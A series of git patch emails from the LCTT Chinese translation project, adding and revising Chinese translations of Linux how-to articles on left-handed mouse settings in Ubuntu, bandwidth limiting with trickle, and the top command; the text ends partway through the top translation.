+每日Ubuntu小技巧－让鼠标适合左利手用户 +================================================================================ +电脑的鼠标被设计成使用食指（大拇指旁边的那个手指）完成大部分操作。默认情况下鼠标为右利手用户配置。打开电脑时，多数情况下你会使用食指完成点击动作。 + +事实上，许多左利手用户习惯把鼠标放到键盘的左边，然后用中指进行单击操作。这并不是左利手用户使用鼠标最好的方法。 + +这个简短的教程为想要正确地使用左手操作鼠标的用户而编写。它将会帮助左利手用户将鼠标设置成用食指点击鼠标主键的操作模式。 + +这个教程同样适用于右利手用户。如果鼠标为左利手用户设置，那么右利手用户可以使用这个教程将鼠标键切换回来。 + +好了，现在咱们开始吧，点击顶部右端面板中的齿轮按钮选择**System Settings（系统设置）**... + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/mouse-left-handed.png) + +然后在系统设置选项中选择**Mouse & Touchpad (鼠标和触摸板)**，打开后选择‘**Right(右)**’选项，这样就可以改变鼠标的主键以适应左利手用户。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/mouse-left-handed-1.png) + +改回左以适应右利手用户。改变将会在选择后立即生效。 + +就是这样了。现在左撇子用户可以将鼠标移到键盘左边，用左手的食指来正确地操作鼠标了。 + +使用愉快！ + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsmake-the-mouse-left-handed-for-left-hand-users/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From dfe09494e40cd2806afae02b32943b3756f5eff2 Mon Sep 17 00:00:00 2001 From: Linchenguang <1573453077@qq.com> Date: Sun, 1 Dec 2013 23:35:12 +0800 Subject: [PATCH 066/148] =?UTF-8?q?Rename=20translatedDaily=20Ubuntu=20Tip?= =?UTF-8?q?s=E2=80=93Make=20The=20Mouse=20Left-handed=20For=20Left=20Hand?= =?UTF-8?q?=20Users.md=20to=20translated/Daily=20Ubuntu=20Tips=E2=80=93Mak?= =?UTF-8?q?e=20The=20Mouse=20Left-handed=20For=20Left=20Hand=20Users.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...ly Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename translatedDaily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md => translated/Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md (100%) diff --git a/translatedDaily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md b/translated/Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md similarity index 100% rename from translatedDaily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md rename to translated/Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md From 7efb821e950a09a0de91129fb8121a9bdafe5c8c Mon Sep 17 00:00:00 2001 From: geekpi Date: Mon, 2 Dec 2013 01:30:22 +0000 Subject: [PATCH 067/148] [Translated] Unbelievable ! 30 Linux TOP Command Examples With Screenshots --- ...ievable ! 30 Linux TOP Command Examples With Screenshots.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/sources/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md b/sources/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md index 89d448f353..a348bea591 100644 --- a/sources/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md +++ b/sources/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md @@ -1,3 +1,6 @@ +Translating-----------------geekpi + + Unbelievable ! 30 Linux TOP Command Examples With Screenshots ================================================================================ The top command in Linux displays the running processes on the system. One of the most important tools for a system administrator. It is used extensively for monitoring the load on a server. In this article, we explore the top command in detail. The top command is an interactive command. Many commands are available when top is running. We will explore these commands as well. From 8d88768595f1627e403b2bcb67709f5630750e35 Mon Sep 17 00:00:00 2001 From: l3b2w1 Date: Mon, 2 Dec 2013 10:32:39 +0800 Subject: [PATCH 068/148] Linux chief--Open source is safer, and Linux is more secure than any other OS.md --- ...ource is safer, and Linux is more secure than any other OS’.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/sources/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md b/sources/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md index 8ce7e236cd..79dfa86652 100644 --- a/sources/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md +++ b/sources/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md @@ -1,3 +1,5 @@ +l3b2w1 translating…… + Linux chief: ‘Open source is safer, and Linux is more secure than any other OS ================================================================================ In an interview with Linux Foundation executive director Jim Zemlin, VentureBeat got a bird’s-eye view of the future of the open-source operating system for 2014. From 0ce8edefaedcaa445bfc4fe5b80c273e9bde8efa Mon Sep 17 00:00:00 2001 From: jasminepeng Date: Mon, 2 Dec 2013 10:35:38 +0800 Subject: [PATCH 069/148] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E4=B8=AD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...and Limit Download-Upload Bandwidth with Trickle in Linux.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/translated/Manage and Limit Download-Upload Bandwidth with Trickle in Linux.md b/translated/Manage and Limit Download-Upload Bandwidth with Trickle in Linux.md index b20a6ecebe..62ae18822f 100644 --- a/translated/Manage and Limit Download-Upload Bandwidth with Trickle in Linux.md +++ b/translated/Manage and Limit Download-Upload Bandwidth with Trickle in Linux.md @@ -149,7 +149,7 @@ root@oltjano-X55CR:/usr/bin# trickle -h via: http://www.tecmint.com/manage-and-limit-downloadupload-bandwidth-with-trickle-in-linux/ -译者：[geekpi](https://github.com/geekpi) 校对：[校对者ID](https://github.com/校对者ID) +译者：[geekpi](https://github.com/geekpi) 校对：[jasminepeng](https://github.com/jasminepeng) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From ff44ff1683b264449fee1f85718e710cf2bf6ca3 Mon Sep 17 00:00:00 2001 From: jasminepeng Date: Mon, 2 Dec 2013 11:15:33 +0800 Subject: [PATCH 070/148] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E5=AE=8C=E6=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...-Upload Bandwidth with Trickle in Linux.md | 45 ++++++++++--------- 1 file changed, 24 insertions(+), 21 deletions(-) diff --git a/translated/Manage and Limit Download-Upload Bandwidth with Trickle in Linux.md b/translated/Manage and Limit Download-Upload Bandwidth with Trickle in Linux.md index 62ae18822f..2371f13477 100644 --- a/translated/Manage and Limit Download-Upload Bandwidth with Trickle in Linux.md +++ b/translated/Manage and Limit Download-Upload Bandwidth with Trickle in Linux.md @@ -1,54 +1,58 @@ Linux 下使用Trickle管理和限制下载/上传带宽 ================================================================================ -你有没有遇到过一个程序占用了你所有的网络带宽的情况？如果你遇到过，那么你就需要限制带宽的应用。或者你是一个系统管理员或者只是一名Linux用户，你需要学习如何控制应用的上传和下载速度来确保你的网络带宽不会被一个程序耗光。 +你有没有遇到过一个程序占用了你所有的网络带宽的情况？如果你遇到过，那么你就需要限制带宽的应用。不管你是一个系统管理员还是一名普通Linux用户，您都要学习如何控制应用的上传和下载速度来确保你的网络带宽不会被一个程序耗光。 ![](http://www.tecmint.com/wp-content/uploads/2013/11/Bandwidth-limit-trickle.png) ### Trickle 是什么? ### -**Trickle**是一款用来限制如**Firefox, FTP , SSH**和其他程序带宽使用的带宽限制工具来确保网络带宽。你希望你的**Youtube**音乐体验影响到你的ftp下载么？不过不想，继续阅读这篇文章，你会学到如何安装和使用trickle在你的机器上。 +**Trickle**是一款带宽整形器,用来限制如**Firefox, FTP , SSH**以及其他使用网络带宽的程序的带宽使用。你希望你的**Youtube**音乐体验影响到你的ftp下载么？如果不想，请继续阅读这篇文章，学习如何在你的机器上安装和使用trickle。 + ### 怎样在Linux上安装Trickle ### -trickle有它自己的依赖，你必须在安装和使用trickle之前安装了“**libevent 库**”，但这个在大多数现在Linux机器上已经默认安装。 +trickle工具有它自己的依赖包，安装和使用trickle之前必须安装“**libevent 库**”，不过这个库在大多数现在的Linux机器上已经默认安装。 + #### 在 Debian/Ubuntu/Linux Mint 上#### -在**Debian/Ubuntu/Mint** 机器上运行 **apt-get install trickle**会有效。请确保源列表已经更新，接着安装你想要的应用。 +在**Debian/Ubuntu/Mint** 机器上运行 **apt-get install trickle**进行安装。请确保源列表已经更新，接着安装你想要的应用。 $ sudo apt-get update $ sudo apt-get install trickle #### 在 RHEL/CentOS/Fedora 上#### -首先你需要更新系统接着使用接下来的命令安装trickle。 +首先你需要更新系统,然后使用下面的命令安装trickle。 # yum update # yum install trickle ### Trickle如何工作? ### -Trickle通过控制某个socket数据的写入和读取数量来控制和限制应用的**上传/下载**速度。它使用另一个版本的**BSD**套接字API，但是区别是trickle还管理socket调用。 +Trickle通过控制socket数据读写量来控制和限制应用的**上传/下载**速度。它使用另一个版本的**BSD**套接字API，但是区别是trickle还管理socket调用。 + +要注意的是trickle使用动态链接和加载，所以它只对于使用"Glibc库"的程序有用。由于trickle可以设置数据在socket上的传输延迟，显然它可以用来限制一个应用的网络带宽。 -要注意的是trickle使用动态链接和加载，所以它只对于使用"Glibc库"的程序有用。由于trickle可以设置数据在socket的传输延迟，因此它明显可以用来限制一个应用的网络带宽。 ### Trickle不能做什么？ ### -Trickle不能限制使用**UDP**协议的应用的带宽，它只可用于**TCP**连接，但是你要知道它也并不是可以工作在所有的**TCP**连接。如果你到现在仔细地看了这篇文章，你可以猜到原因是什么。你能回忆起trickle可以工作在使用**Glibc库**应用的事实么？ +Trickle不能用于限制使用**UDP**协议的应用的带宽，它只可用于**TCP**连接，但是你要知道它也并不是对所有的**TCP**连接有效。如果你一直仔细地看这篇文章，你可以猜到原因是什么。你还记得trickle只对使用**Glibc库**应用有效吧？ + +还要说一下,trickle无法工作在使用静态链接的可执行程序上。 -我不得说一下trickle无法工作在使用静态链接的可执行程序上。 ### 确定Trickle是否可运行在某个特定应用上 ### -既然trickle无法显示每个应用的**上传/下载**速度，那么有理由要使用一个方法来找出trickle可以工作的应用。 +既然trickle无法限制每个应用的**上传/下载**速度，就应该有个方法找出trickle可以工作的应用。 -**ldd**工具可以帮我们找出某个特定的程序是否使用了**libc.so**库。如果程序使用了这个库，那么你可以使用trickle来限制它的网络带宽使用。 +**ldd**工具可以帮我们找出某个特定的程序是否使用了**libc.so**库。如果程序使用了这个库，就可以使用trickle来限制它的网络带宽使用。 -**ldd**命令被用来打印每个程序需要的共享库。如果你是一个好奇的**Linux Geek**，那么你可以使用man命令来找出关于ldd工具的更多信息。 +**ldd**命令用于打印每个程序需要的共享库。如果你是一个好奇的**Linux Geek**，那么你可以使用man命令来找出关于ldd工具的更多信息。 # man ldd -**Filezilla**是一款使用ftp协议传输文件的程序，trickle可以用来限制它的下载或者上传速度么？在你考虑的时候，我使用以下的命令来找出trickle是否可用在filezilla。 +**Filezilla**是一款使用ftp协议传输文件的程序，trickle可以用来限制它的下载或者上传速度么？在你考虑的时候，我使用以下的命令来找出trickle是否可用于filezilla。 # ldd filezilla | grep libc.so @@ -61,12 +65,12 @@ Trickle不能限制使用**UDP**协议的应用的带宽，它只可用于**TCP* ### 学习如何使用Trickle ### -打印下面的命令打印trickle工具的**版本**。 +使用下面的命令打印trickle工具的**版本**。 root@oltjano-X55CR:~# trickle -V trickle: version 1.07 -Linux有很多命令行工具使得测试(实验)变得有趣和美丽。下载的命令使用[wget 工具][1]来下载最新的Pear OS镜像 +Linux有很多命令行工具使测试(实验)变得有趣和美丽。下面的命令使用[wget 工具][1]来下载最新的Pear OS镜像. root@oltjano-X55CR:~# wget http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download @@ -88,8 +92,7 @@ root@oltjano-X55CR:~# wget http://sourceforge.net/projects/pearoslinux/files/Pea Saving to: ‘download’ 0% [ ] 30,78,278 381KB/s eta 1h 50m - -如你所见的输出，下载速度大约是**381 KB/s**。我想限制下载速度到**13 K/s**，这样我就可以用我的带宽做其他的事情了。下面的命令用来限制wget速度到**13 K/s**。 +从输出可以看到，下载速度大约是**381 KB/s**。我想限制下载速度到**13 K/s**，这样我就可以用我的带宽做其他的事情了。下面的命令用来限制wget速度到**13 K/s**。 root@oltjano-X55CR:~# trickle -d 13 wget http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download @@ -114,15 +117,15 @@ root@oltjano-X55CR:~# wget http://sourceforge.net/projects/pearoslinux/files/Pea 0% [ ] 2,01,550 13.1KB/s eta 21h 5m -如你所见的输出，下载速度被限制到了**13K/s**。下载将会持续**21小时5分钟**。上面的“**-d**”意味着下载，你可以像下面的命令那样结合使用 “**-d**”选项和上传选项(**-u**)。 +从输出可以看到，下载速度被限制到了**13K/s**。下载将会持续**21小时5分钟**。上面的“**-d**”选项表示下载，还可以结合使用 “**-d**”选项和上传选项(**-u**),如下例所示。 # trickle -u 100 -d 50 ftp -上面的命令来限制**ftp 客户端**的上传速度为**100K/s**，下载速度为**50K/s**。你还可以在一个bash里面限制所有的命令的带宽。 +上面的命令限制**ftp 客户端**的上传速度为**100K/s**，下载速度为**50K/s**。还可以使用下面的命令,限制在一个shell里运行的所有命令的带宽。 trickle -d 130 -u 13 bash -每个命令行工具对用户提供了帮助，使用trickle命令使用"-h"选项来找出更多trickle工具的用法。 +每个命令行工具都对用户提供了帮助，使用"trickle -h"命令来找出更多trickle工具的用法。 root@oltjano-X55CR:/usr/bin# trickle -h @@ -143,7 +146,7 @@ root@oltjano-X55CR:/usr/bin# trickle -h ### 总结 ### -本篇文章教你如何安装trickle工具在你的Linux机器上，并用它如何做一些简单的事情。无论你为大公司还是为你自己，trickle都是高级Linux用户的必备工具。 +本篇文章介绍如何在Linux机器上安装trickle工具，并用它如何做一些简单的事情。无论你为大公司工作还是自己使用，trickle都是高级Linux用户的必备工具。 -------------------------------------------------------------------------------- From 244b6dfb743d99bb0444071a1f5a692986f92805 Mon Sep 17 00:00:00 2001 From: geekpi Date: Mon, 2 Dec 2013 03:30:35 +0000 Subject: [PATCH 071/148] [Translated] Unbelievable ! 30 Linux TOP Command Examples With Screenshots --- ...x TOP Command Examples With Screenshots.md | 293 ------------------ 1 file changed, 293 deletions(-) delete mode 100644 sources/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md diff --git a/sources/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md b/sources/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md deleted file mode 100644 index a348bea591..0000000000 --- a/sources/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md +++ /dev/null @@ -1,293 +0,0 @@ -Translating-----------------geekpi - - -Unbelievable ! 30 Linux TOP Command Examples With Screenshots -================================================================================ -The top command in Linux displays the running processes on the system. One of the most important tools for a system administrator. It is used extensively for monitoring the load on a server. In this article, we explore the top command in detail. The top command is an interactive command. Many commands are available when top is running. We will explore these commands as well. - -### 1. Top Command output: ### - -First of all, let us understand what the output says. Top command displays a lot of information about the running system. But we need to under stand the meaning of different sections of this output: -Running by default, the top command displays output like this: - -![Top default display](http://linoxide.com/wp-content/uploads/2013/11/01.top_default.png) - -First few lines are horizontal showing summary about different system parameters, and following these are the processes and their attributes in columns. - -#### 1.1 Uptime and Load Averages: #### - -![Uptime display](http://linoxide.com/wp-content/uploads/2013/11/02.top_uptime.png) - -At the top of top command is displayed the output similar to uptime command. - -The fields display: - -- current time -- the time your system is been up -- number of users logged in -- load average of 5, 10 and 15 minutes respectively. - -This uptime display can be toggled with ‘l’ command. - -#### 1.2 Tasks: #### - -![Task summary](http://linoxide.com/wp-content/uploads/2013/11/03.top_tasks.png) - -The second line shows summary of tasks or processes. The processes can be in different states. It shows total number of the processes. Out of these, the processes can be running, sleeping, stopped or in zombie (zombie is the state of a process state, These process summary can be toggled with ‘t’ command. - -#### 1.3 CPU States: #### - -![CPU status display](http://linoxide.com/wp-content/uploads/2013/11/04.top_cpu_states.png) - -Next is shown the CPU state. Here, %age of CPU time in different modes is shown. The meaning of different CPU times are: - -- us, user: CPU time in running (un-niced) user processes -- sy, system: CPU time in running kernel processes -- ni, niced: CPU time in running niced user processes -- wa, IO wait: CPU time waiting for IO completion -- hi: CPU time serving hardware interrupts -- si: CPU time serving software interrupts -- st: CPU time stolen for this vm by the hipervisor. - -This can be toggled with ‘t’ command. - -#### 1.4 Memory Usage: #### - -![Memory usage](http://linoxide.com/wp-content/uploads/2013/11/05.top_mem_usage.png) - -Next two lines show memory usage, somewhat like ‘free’ command. 1st of these lines is for physical memory and the second for virtual memory (swap space). - -The physical memory is displayed as: total available memory, used memory, free memory, and memory used for buffers -Similarly, swap reflects: total, used, free and cached swap space. -The memory can be toggled with ‘m’ command. - -#### 1.5 Fields/Columns: #### - -![Top columns](http://linoxide.com/wp-content/uploads/2013/11/06.top_fields.png) - -After these horizontal system properties and states, the processes are shown in columns. The different columns represent different properties discussed below. - -By default, top shows these attributes associated with processes: - -**PID** -The Process ID, to uniquely identify a processes. - -**USER** -The effective user name of the owner of the processes. - -**PR** -The scheduling priority of the process. Some values in this field are ‘rt’. It means that the process is running under real-time. - -**NI** -The nice value of the process. Lower values mean higher priority. - -**VIRT** -The amount of virtual memory used by the process. - -**RES** -The resident memory size. Resident memory is the amount of non-swapped physical memory a task is using. - -**SHR** -SHR is the shared memory used by the process. - -**S** -This is the process status. It can have one of the following values: - -- D – uninterruptible sleep -- R – running -- S – sleeping -- T – traced or stopped -- Z – zombie - -**%CPU** -It is the percentage of CPU time the task has used since last update. - -**%MEM** -Percentage of available physical memory used by the process. - -**TIME+** -The total CPU time the task has used since it started, with precision upto hundredth of a second. - -**COMMAND** -The command which was used to start the process. - -There are many other outputs which are not displayed by default which can display information about page faults, effective group and group ID of the process, and many more. - -### 2. Interactive Commands: ### - -We discussed earlier that the top command is interactive commands. Some of the commands we encountered in the last section. Here we explore these commands further. - -#### 2.1 ‘h’: Help #### - -First of all, you can press ‘h’ or ‘?’ to display the help menu for interactive commands. - -![Help options](http://linoxide.com/wp-content/uploads/2013/11/07.top_help.png) - -#### 2.2 ‘’ or ‘’: Refresh Display #### - -The top command by default refreshes after a certain interval (3 seconds). To refresh manually, user can press enter or space key. - -#### 2.3 A: Toggle Alternate Display Mode #### - -This command switches between full-screen Mode and alternate-display mode. In alternate display mode, 4 windows are available: - -1. Def -2. Job -3. Mem -4. Usr - -Each of the 4 field groups has a unique separately configurable summary area and its own configurable task area. Only one of these 4 windows will be the current window. The current window is displayed on the top left corner. - -![Alternative display mode](http://linoxide.com/wp-content/uploads/2013/11/08.top_alternative_display.png) - -You can switch between 4 windows with ‘a’ and ‘w’ keys. ‘a’ moves to next and ‘w’ to previous window. With ‘g’ command, you can enter a number to select the current window. - -![Window selection in alternative display](http://linoxide.com/wp-content/uploads/2013/11/09.top_alternate_window_selection.png) - -#### 2.4 B: Toggle Bold Display #### - -Some important information is shown in bold characters. This command toggles use of bold. - -![Bold off](http://linoxide.com/wp-content/uploads/2013/11/10.top_bold_display_off.png) - -#### 2.5 ‘d’ or ‘s’: Set Display Time interval #### - -When ‘d’ or ‘s’ is pressed, you will be prompted to enter a value ( in seconds ) which will be set as display interval. If you enter 1 here, top will refresh every second. - -![Display time interval](http://linoxide.com/wp-content/uploads/2013/11/11.top_display_time_interval.png) - -#### 2.6 ‘l’, ‘t’, ‘m’: Toggle Load, Task, Memory Info #### - -These will toggle load average, task/cpu status and mem info respectively as discussed. - -![Load average off](http://linoxide.com/wp-content/uploads/2013/11/12.top_load_average_display_off.png) - -![CPU summary off](http://linoxide.com/wp-content/uploads/2013/11/13.top_cpu_display_off.png) - -![Memory and swap usage off](http://linoxide.com/wp-content/uploads/2013/11/14.top_mem_display_off.png) - -![All three displays off](http://linoxide.com/wp-content/uploads/2013/11/15.top_all_three_display_off.png) - -#### 2.7 ‘f’: Field Management #### - -This is used to chose what field you want to display on the output screen. The fields marked as * are selected. - -![Managing columns](http://linoxide.com/wp-content/uploads/2013/11/16.top_field_management.png) - -‘<’ and ‘>’ -The ‘<’ command moves the sorted field to the left and ‘>’ to the right - -#### 2.8 ‘R’: Reverse Sort #### - -Toggle Reverse/Normal sort order - -#### 2.9 ‘c’: Toggle Command #### - -Toggle full path of command that started the process and program name. - -![Full command path](http://linoxide.com/wp-content/uploads/2013/11/17.top_command_name_displayed.png) - -#### 2.10 ‘i’: Idle Tasks #### - -Toggle idle tasks. - -![Idle task display off](http://linoxide.com/wp-content/uploads/2013/11/18.top_idle_tasks_off.png) - -#### 2.11 ‘V’: Forest View #### - -Toggle forest view mode. - -![Forest view of tasks](http://linoxide.com/wp-content/uploads/2013/11/19.top_forest_view.png) - -#### 2.12 ‘Z’: Change color map #### - -Pressing the ‘Z’ key takes the user to a screen where the display color can be changed for top command. There are 8 task areas to chose from and 8 colors. - -![Customizing colors](http://linoxide.com/wp-content/uploads/2013/11/20.top_color_selection.png) - -The below screen shows full colored top view with all 4 screens on. - -![Colored display](http://linoxide.com/wp-content/uploads/2013/11/21.top_colored.png) - -#### 2.13 ‘z’: Toggle Color #### - -Toggle color, i.e. turn on or off the colored display. - -#### 2.14 ‘x’ or ‘y’ #### - -Toggle highlights: ‘x’ sort field; ‘y’ running tasks. Depending upon your display settings, You might have to make the output colored in order to notice these highlights. - -![X and Y highlighted](http://linoxide.com/wp-content/uploads/2013/11/22.top_x_y_displayed.png) - -#### 2.15 ‘u’: Processes of a User #### - -Show processes for a particular user. You are prompted to enter the username. Blank will show for all users. - -![Processes of 'raghu' user](http://linoxide.com/wp-content/uploads/2013/11/23.top_raghu_processes.png) - -#### 2.16 ‘n’ or ‘#’: Number of tasks #### - -Set maximum number of tasks displayed. - -![Setting number of tasks displayed](http://linoxide.com/wp-content/uploads/2013/11/24.top_10_processes.png) - -#### 2.17 ‘k’: Kill tasks #### - -One of the most important commands of top. Used to send signals to tasks (Usually kill tasks). - -![Killing a task](http://linoxide.com/wp-content/uploads/2013/11/25.top_kill_task.png) - -#### 2.18 ‘r’: Renice #### - -Renice a task to change the scheduling priority. - -### 3. Command line options: ### - -Most of these command line options are similar to the commands discussed above. Top output can be manipulated interactively with commands. But you can start top with some parameters set to your convenience with these options. - -#### 3.1 -b: Batch mode #### - -The -b option starts top command in batch mode. It can be useful when you want to save the output in a file. - -#### 3.2 -c: Command/Program-name toggle: #### - -As discussed in the above commands, this option will toggle from the last remembered state of command/program name display. - -#### 3.3 -d: Set delay interval #### - -Set the delay interval for top (in seconds). For example: - - $ top -d 1 - -will start the top command with 1 sec delay interval. - -#### 3.4 -i: idle process toggle #### - -This option sets the top command with last remembered ‘i’ state reversed. - -#### 3.5 -n: Set number of iterations #### - -With -n option, you can set the number of iterations after which top willl end. - - $ top -n 3 - -will exit top automatically after 3 outputs. - -#### 3.6 -p: monitor specific PIDs #### - -You can specify what PIDs you want to monitor with -p option. PID value 0 will be treated as process ID of top command itself. - -#### 3.7 -u or -U: username or UID #### - -The process of a particular user can be viewed with these options. Username or UID can be specified to the option. The -p, -u and -U options are mutually exclusive. Only one of the options can be used at a time. You get error when you try to use any combination of these options: - - $ top -p 28453 -u raghu - top: conflicting process selections (U/p/u) - --------------------------------------------------------------------------------- - -via: http://linoxide.com/linux-command/linux-top-command-examples-screenshots/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From 48939b9c7fe5339263abe8b3af3f5011ba9298ab Mon Sep 17 00:00:00 2001 From: geekpi Date: Mon, 2 Dec 2013 03:32:43 +0000 Subject: [PATCH 072/148] miss one file --- ...x TOP Command Examples With Screenshots.md | 290 ++++++++++++++++++ 1 file changed, 290 insertions(+) create mode 100644 translated/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md diff --git a/translated/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md b/translated/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md new file mode 100644 index 0000000000..ab59b8e2c2 --- /dev/null +++ b/translated/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md @@ -0,0 +1,290 @@ +难以置信！ 30个top命令示例以及截图 +================================================================================ +Linux中的top命令显示系统上正在运行的进程。它是系统管理员最重要的工具之一。被广泛用于监视服务器的负载。在本篇中，我们会探索top命令的细节。top命令是一个交互命令。在运行top的时候还可以运行很多命令。我们也会探索这些命令。 + +### 1. Top 命令输出: ### + +首先，让我们理解一下输出。top命令会显示系统的很多信息。我们需要理解不同部分输出的意义：默认运行，top命令会显示如下输出： + + +![Top default display](http://linoxide.com/wp-content/uploads/2013/11/01.top_default.png) + +First few lines are horizontal showing summary about different system 前几行水平显示了不同系统参数的概括，接下来是进程和它们在列中的属性。 + +#### 1.1 系统运行时间和平均负载： #### + +![Uptime display](http://linoxide.com/wp-content/uploads/2013/11/02.top_uptime.png) + +top命令的顶部显示与uptime命令相似的输出。 + +这些字段显示： + +- 当前时间 +- 系统运行的时间 +- 登陆用户的数量 +- 相应最近5、10和15分钟内的平均负载。 + +无法使用'l'命令触发uptime的显示。 + +#### 1.2 任务: #### + +![Task summary](http://linoxide.com/wp-content/uploads/2013/11/03.top_tasks.png) + +第二行显示的是任务或者进程的总结。进程可以在不同的状态。他显示了全部进程的数量。除此之外，还有正在运行、睡眠、停止、僵尸进程的数量(僵尸是一种进程的状态，这些进程概括可以用't'触发)。 + +#### 1.3 CPU 状态: #### + +![CPU status display](http://linoxide.com/wp-content/uploads/2013/11/04.top_cpu_states.png) + +下一行显示的是CPU状态。 这里显示了不同模式下的CPU时间 %age。这些不同的CPU时间表示: + +- us, user： 运行(未调整优先级的) 用户进程的CPU时间 +- sy，system: 运行内核进程的CPU时间 +- ni，niced：运行已调整优先级的用户进程的CPU时间 +- wa，IO wait: 用于等会IO完成的CPU时间 +- hi：处理硬件中断的CPU时间 +- si: 处理软件中断的CPU时间 +- st：被hypervisor偷去用于vm的CPU时间。 + +这个无法使用't'命令触发。 + +#### 1.4 内存使用: #### + +![Memory usage](http://linoxide.com/wp-content/uploads/2013/11/05.top_mem_usage.png) + +接下来两行显示内存使用率，有点像'free'命令。第一行是物理内存使用，第二行是虚拟内存使用(交换空间)。 + +物理内存显示如下:全部可用内存、已使用内存、空闲内存、缓冲内存。相似地：交换反映的是：全部、已使用、空闲和缓冲交换空间。内存显示可以用'm'命令触发。 + +#### 1.5 字段/列: #### + +![Top columns](http://linoxide.com/wp-content/uploads/2013/11/06.top_fields.png) + +在水平的系统属性和状态后，下面是以列显示的进程。不同的列代表下面要讨论的不同的属性。 + +默认上，top显示这些关于进程的属性。 + +**PID** +进程ID，进程的唯一标识符 + +**USER** +进程所有者的实际用户名。 + +**PR** +进程的调度优先级。这个字段的一些值是'rt'。这意味这这些进程运行在实时态。 + +**NI** +进程的nice值。低的值意味这更高的优先级。 + +**VIRT** +进程使用的虚拟内存。 + +**RES** +驻留内存大小。驻留内存是任务使用的非交换物理内存大小。 + +**SHR** +SHR是进程使用的共享内存。 + +**S** +这个是进程的状态。它有以下不同的值: + +- D - 不可中断的睡眠态。 +- R – 运行态 +- S – 睡眠态 +- T – 被追踪或已停止 +- Z – 僵尸态 + +**%CPU** +自从上一次更新时到现在任务所使用的CPU时间百分比。 + +**%MEM** +进程使用的可用物理内存百分比。 + +**TIME+** +任务启动后到现在所使用的全部CPU时间，精确到百分之一秒。 + +**COMMAND** +运行进程所使用的命令。 + +还有许多在默认情况下不会显示的输出，它们可以显示进程的页错误、有效组和组ID和其他更多的信息。 + +### 2. 交互命令: ### + +我们之前讨论过top是一个交互命令。上一章我们已经遇到了一些命令。这里我们会探索更多的命令。 + +#### 2.1 ‘h’: 帮助 #### + +首先，我们可以用'h'或者'?'显示交互命令的帮助菜单。 + +![Help options](http://linoxide.com/wp-content/uploads/2013/11/07.top_help.png) + +#### 2.2 ‘’ 或者 ‘’: 刷新显示 #### + +top命令默认在一个特定间隔(3秒)后刷新显示。要手动刷新，用户可以输入回车或者空格。 + +#### 2.3 A: 触发交替显示模式 #### + +这个命令在全屏和交替模式间切换。在交替模式下会显示4个窗口: + + +1. Def +2. Job +3. Mem +4. Usr + +四个字段都有唯一独立的可配置的概括区域和它自i就的任务驱动。4个窗口中只有一个窗口会成为当前窗口。当前窗口显示在左上方。 + +![Alternative display mode](http://linoxide.com/wp-content/uploads/2013/11/08.top_alternative_display.png) + +我们可以用'a'和'w'在4个 窗口间切换。'a'移到后一个窗口，'w'移到前一个窗口。用'g'命令你可以输入一个数字来选择当前窗口。 + +![Window selection in alternative display](http://linoxide.com/wp-content/uploads/2013/11/09.top_alternate_window_selection.png) + +#### 2.4 B: 触发粗体显示 #### + +Some important information is shown in bold characters. This command toggles use of bold. +一些重要信息会以加粗字体显示。这个命令触发使用粗体。 + +![Bold off](http://linoxide.com/wp-content/uploads/2013/11/10.top_bold_display_off.png) + +#### 2.5 ‘d’ or ‘s’: 设置显示的时间间隔 #### + +当按下'd'或's'时，你将被提示输入一个值（以秒为单位），它会以设置的值作为显示间隔。如果你这里输入了1, top将会每秒刷新。 + +![Display time interval](http://linoxide.com/wp-content/uploads/2013/11/11.top_display_time_interval.png) + +#### 2.6 ‘l’、‘t’、‘m’: 触发负载、任务、内存信息 #### + +这会相应地触发平均负载、任务/CPU状态和内存信息。 + +![Load average off](http://linoxide.com/wp-content/uploads/2013/11/12.top_load_average_display_off.png) + +![CPU summary 